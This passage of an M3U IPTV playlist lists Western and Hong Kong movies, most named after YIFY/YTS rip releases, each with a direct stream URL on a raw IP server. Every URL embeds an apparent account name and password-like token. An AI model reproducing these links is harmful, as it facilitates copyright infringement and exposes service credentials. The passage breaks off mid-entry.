http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/1316.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", James.Bond.For.Your.Eyes.Only.1981.720p.BRrip.x264.YIFY http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/1317.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", James.Bond.GoldenEye.1995.720p.BRrip.x264.YIFY http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/1318.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", James.Bond.Licence.To.Kill.1989.720p.BRrip.x264.YIFY http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/1319.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", James.Bond.Live.And.Let.Die.1973.720p.BRrip.x264.YIFY http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/1320.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", James.Bond.Moonraker.1979.720p.BRrip.x264.YIFY http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/1321.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", James.Bond.On.Her.Majestys.Secret.Service.1969.720p.BRrip.x264.YIFY http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/1322.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", James.Bond.Quantum.of.Solace.2008.720p.BRrip.x264.YIFY http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/1323.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", James.Bond.The.Living.Daylights.1987.720p.BRrip.x264.YIFY http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/1324.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", James.Bond.The.Man.With.The.Golden.Gun.1974.720p.BRrip.x264.YIFY http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/1325.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", James.Bond.The.Spy.Who.Loved.Me.1977.720p.BRrip.x264.YIFY http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/1326.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", James.Bond.The.World.Is.Not.Enough.1999.720p.BRrip.x264.YIFY http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/1327.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", Johnny.English.Strikes.Again.2018.720p.BluRay.x264-[YTS.AM] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/1328.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", Jurassic.Park.1993.720p.BrRip.264.YIFY http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/1329.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", Jurassic.Park.II.The.Lost.World.1997.720p.BrRip.264.YIFY http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/1330.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", Jurassic.Park.III.2001.720p.BrRip.264.YIFY http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/1331.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", Jurassic.World.2015.720p.BluRay.x264.YIFY http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/1332.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", Jurassic.World.Fallen.Kingdom.2018.720p.BluRay.x264-[YTS.AM] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/1333.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", Justice.League.2017.720p.BluRay.x264-[YTS.AM] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/1334.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", Justice.League.Dark.Apokolips.War.2020.1080p.BluRay.x264.AAC5.1-[YTS.MX] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/1335.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", Man.of.Steel.2013.720p.BluRay.x264.YIFY http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/1336.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", Maze.Runner.The.Death.Cure.2018.720p.BluRay.x264-[YTS.AM] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/1337.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", Men.In.Black.1997.720p.BluRay.x264.YIFY http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/1338.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", Men.In.Black.3.2012.720p.BluRay.x264.YIFY http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/1339.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", Men.In.Black.II.2002.720p.BluRay.x264.YIFY http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/1340.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", Men.In.Black.International.2019.720p.BluRay.x264-[YTS.LT] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/1341.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", National.Treasure.2004.720p.BrRip.x264.YIFY http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/1342.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", National.Treasure.Book.of.Secrets.2007.720p.BrRip.x264.YIFY http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/1343.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", Rambo.First.Blood.Part.II.1985.720p.BluRay.x264-[YTS.AG] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/1347.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", Rambo.III.1988.720p.BluRay.x264-[YTS.AG] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/1348.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", Rogue.One.2016.1080p.BluRay.x264-[YTS.AG] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/1350.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", Rush.Hour.1.1998.720p.BRrip.x264.YIFY http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/1351.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", Shin.Godzilla.2016.720p.BluRay.x264-[YTS.AG] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/1352.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", Skyfall.2012.720p.BrRip.x264.YIFY http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/1353.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", Spectre.2015.1080p.BluRay.x264-[YTS.AG] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/1354.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", Spider.Man.2.2004.1080p.BluRay.x264.YIFY http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/1355.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", Spider.Man.2.2004.720p.BrRip.264.YIFY http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/1356.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", Spider.Man.3.2007.720p.BluRay.x264.YIFY http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/1357.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", SpiderMan.2002.720p.BrRip.264.YIFY. http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/1358.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", SpiderMan.3.2007.720p.BrRip.264.YIFY http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/1359.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", Star.Wars.Episode.I.-.The.Phantom.Menace.1999.720p.BluRay.x264-[YTS.AG] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/1360.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", Star.Wars.Episode.II.-.Attack.Of.The.Clones.2002.720p.BluRay.x264-[YTS.AG] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/1361.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", Star.Wars.Episode.III.-.Revenge.Of.The.Sith.2005.720p.BluRay.x264-[YTS.AG] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/1362.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", Star.Wars.Episode.IV.-.A.New.Hope.1977.720p.BluRay.x264-[YTS.AG] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/1363.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", Star.Wars.Episode.IX.-.The.Rise.Of.Skywalker.2019.720p.BluRay.x264.AAC-[YTS.MX] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/1364.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", Star.Wars.Episode.V.-.The.Empire.Strikes.Back.1980.720p.BluRay.x264-[YTS.AM] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/1365.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", Star.Wars.Episode.VI.-.Return.Of.The.Jedi.1983.720p.BluRay.x264-[YTS.AM] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/1366.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", Star.Wars.Episode.VII.-.The.Force.Awakens.2015.1080p.BluRay.x264-[YTS.AG] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/1367.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", Star.Wars.The.Last.Jedi.2017.1080p.BluRay.x264-[YTS.AM] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/1368.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", Superman.1978.720p.BluRay.x264-[YTS.AM] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/1369.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", Superman.II.1980.720.BrRip.264.YIFY http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/1370.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", Superman.Returns.2006.BrRip.720p.264.YIFY http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/1372.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", The.Amazing.Spider.Man.2.2014.720p.BluRay.x264.YIFY http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/1373.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", The.Amazing.Spiderman.2012.720p.BrRip.x264.YIFY http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/1374.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", The.Hobbit.An.Unexpected.Journey.2012.1080p.BRrip.x264.GAZ.YIFY http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/1376.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", The.Hobbit.The.Battle.of.the.Five.Armies.2014.1080p.BluRay.x264.YIFY http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/1377.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", The.Hobbit.The.Desolation.of.Smaug.2013.1080p.BluRay.x264.YIFY http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/1378.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", The.League.of.Extraordinary.Gentlemen.2003.720p.BrRip.x264.YIFY http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/1379.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", The.Lion.King.1994.BluRay.720p.x264.YIFY http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/1380.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", The.Lion.King.2019.720p.BluRay.x264-[YTS.LT] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/1381.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", The.Lord.of.the.Rings.The.Fellowship.of.the.Rings1080 http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/1382.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", The.Lord.of.the.Rings.The.Return.of.the.King.EXTENDED.2003.1080p.BrRip.x264.YIFY http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/1383.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", The.Lord.of.the.Rings.The.Two.Towers.2002.ExD.1080p.BrRip.x264.YIFY http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/1384.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", The.Maze.Runner.2014.720p.BluRay.x264.YIFY http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/1385.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", The.Twilight.Saga.Breaking.Dawn.Part 1.2011.720p.BrRip.x264.YIFY http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/1387.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", The.Twilight.Saga.Breaking.Dawn.Part.2.2012.720p.BRrip.x264.GAZ.YIFY http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/1388.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", Thor.Ragnarok.2017.720p.BluRay.x264-[YTS.AM] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/1389.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", Thor.The.Dark.World.2013.720p.BluRay.x264.YIFY http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/1390.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", Thunderball.1965.720p.BluRay.x264-[YTS.AM] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/1391.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", Transporter 1 http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/1392.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", Transporter 2 http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/1393.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", Transporter 3 http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/1394.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", Twilight.Saga.Eclipse.2010.720p.BrRip.x264.YIFY http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/1395.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", Twilight.Saga.the.2009.720p.BrRip.x264.YIFY http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/1396.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", Wonder.Woman.2017.720p.BluRay.x264-[YTS.AG] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/1397.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", You.Only.Live.Twice.1967.720p.BluRay.x264-[YTS.AG] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/1398.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", Dr. No http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/1410.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", From Russia with Love http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/1411.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", Goldfinger http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/1412.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", Harry.Potter.and.the.Chamber.of.Secrets.2002.1080p.BrRip.x264.YIFY http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/1422.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", Harry.Potter.and.the.Deathly.Hallows.Part.1.2010.1080p.BrRip.x264.YIFY http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/1423.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", Harry.Potter.and.the.Goblet.of.Fire.2005.1080p.BrRip.x264.YIFY http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/1424.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", Harry.Potter.and.the.Half.Blood.Prince.2009.1080p.BrRip.x264.YIFY http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/1425.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", Harry.Potter.and.the.Order.of.the.Phoenix.2007.1080p.BrRip.x264.YIFY http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/1426.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", Harry.Potter.and.the.Sorcerers.Stone.2001.1080p.BrRip.x264.YIFY ( FIRST TRY) http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/1427.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", Iron.Man.2.2010.1080p.BrRip.x264.YIFY http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/1428.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", Superman III http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/1530.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", The Da Vinci Code http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/1531.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", Batman.V.Superman.Dawn.Of.Justice.2016.1080p.BluRay.x264-[YTS.AG] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/1532.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", Iron.Man.2008.1080p.BrRip.x264.YIFY http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/1534.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", Rambo.2008.1080p.BluRay.x264-[YTS.AG] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/1535.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", Rambo.First.Blood.Part.II.1985.1080p.BluRay.x264-[YTS.AG] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/1536.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", Rambo.III.1988.1080p.BluRay.x264-[YTS.AG] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/1537.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", Superman.II.1980.1080p.BluRay.x264-[YTS.AM] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/1538.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", Superman.IV.The.Quest.For.Peace.1987.1080p.BluRay.x264-[YTS.AM] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/1541.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", Superman.Returns.2006.1080p.BluRay.x264-[YTS.AM] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/1542.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", Wonder.Woman.2017.1080p.BluRay.x264-[YTS.AG] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/1543.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", The Mechanic http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/1544.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", The Ring 2 http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/1545.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="HONG KONG MOVIES VIDEO", Bai.Du.Ren.2016.720p.BluRay.x264.AAC-[YTS.MX] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/592.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="HONG KONG MOVIES VIDEO", Buddy.Cops.2016.720p.BluRay.x264.AAC-[YTS.MX] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/593.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="HONG KONG MOVIES VIDEO", Chek.Dou.2015.720p.BluRay.x264.AAC-[YTS.MX] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/594.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="HONG KONG MOVIES VIDEO", City.Under.Siege.2010.720p.BluRay.x264.AAC-[YTS.MX] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/595.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="HONG KONG MOVIES VIDEO", Cold.War.2012.720p.BluRay.x264.AAC-[YTS.MX] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/596.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="HONG KONG MOVIES VIDEO", Comrades.Almost.A.Love.Story.1996.720p.BluRay.x264.AAC-[YTS.MX] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/597.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="HONG KONG MOVIES VIDEO", Election.2.2006.720p.BluRay.x264.AAC-[YTS.MX] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/598.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="HONG KONG MOVIES VIDEO", Flash.Point.2007.720p.BluRay.x264.AAC-[YTS.MX] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/599.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="HONG KONG MOVIES VIDEO", Forbidden.City.Cop.1996.720p.BluRay.x264.AAC-[YTS.MX] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/600.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="HONG KONG MOVIES VIDEO", God.Of.Gamblers.1989.720p.BluRay.x264.AAC-[YTS.MX] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/601.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="HONG KONG MOVIES VIDEO", Infernal.Affairs.II.2003.720p.BluRay.x264.AAC-[YTS.MX] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/602.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="HONG KONG MOVIES VIDEO", Justice.My.Foot.1992.720p.BluRay.x264.AAC-[YTS.MX] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/603.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="HONG KONG MOVIES VIDEO", Keeper.Of.Darkness.2015.720p.BluRay.x264.AAC-[YTS.MX] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/604.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="HONG KONG MOVIES VIDEO", Overheard.2009.720p.BluRay.x264.AAC-[YTS.MX] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/605.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="HONG KONG MOVIES VIDEO", S.Storm.2016.720p.BluRay.x264.AAC-[YTS.MX] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/606.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="HONG KONG MOVIES VIDEO", Seven.Warriors.1989.720p.BluRay.x264.AAC-[YTS.MX] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/607.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="HONG KONG MOVIES VIDEO", Ye.Sheng.Huo.Nu.Wang.Xia.Jie.Chuan.Qi.1991.720p.BluRay.x264.AAC-[YTS.MX] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/608.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="HONG KONG MOVIES VIDEO", Alls.Well.Ends.Well.Too.1993.720p.BluRay.x264.AAC-[YTS.MX] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/610.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="HONG KONG MOVIES VIDEO", As.Tears.Go.By.1988.720p.BluRay.x264.AAC-[YTS.MX] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/611.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="HONG KONG MOVIES VIDEO", Ashes.Of.Time.1994.720p.BluRay.x264.AAC-[YTS.MX] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/612.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="HONG KONG MOVIES VIDEO", Bodyguards.And.Assassins.2009.720p.BluRay.x264.AAC-[YTS.MX] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/613.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="HONG KONG MOVIES VIDEO", Born.To.Be.King.2000.720p.BluRay.x264.AAC-[YTS.MX] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/614.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="HONG KONG MOVIES VIDEO", Chasing.The.Dragon.2017.720p.BluRay.x264-[YTS.AM] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/615.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="HONG KONG MOVIES VIDEO", Chinese.Zodiac.2012.720p.BluRay.x264.YIFY http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/616.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="HONG KONG MOVIES VIDEO", City.On.Fire.1987.720p.BluRay.x264.AAC-[YTS.MX] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/617.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="HONG KONG MOVIES VIDEO", Crazy.Love.1993.720p.BluRay.x264.AAC-[YTS.MX] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/618.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="HONG KONG MOVIES VIDEO", Dragons.Forever.1988.720p.BluRay.x264.AAC-[YTS.MX] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/619.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="HONG KONG MOVIES VIDEO", 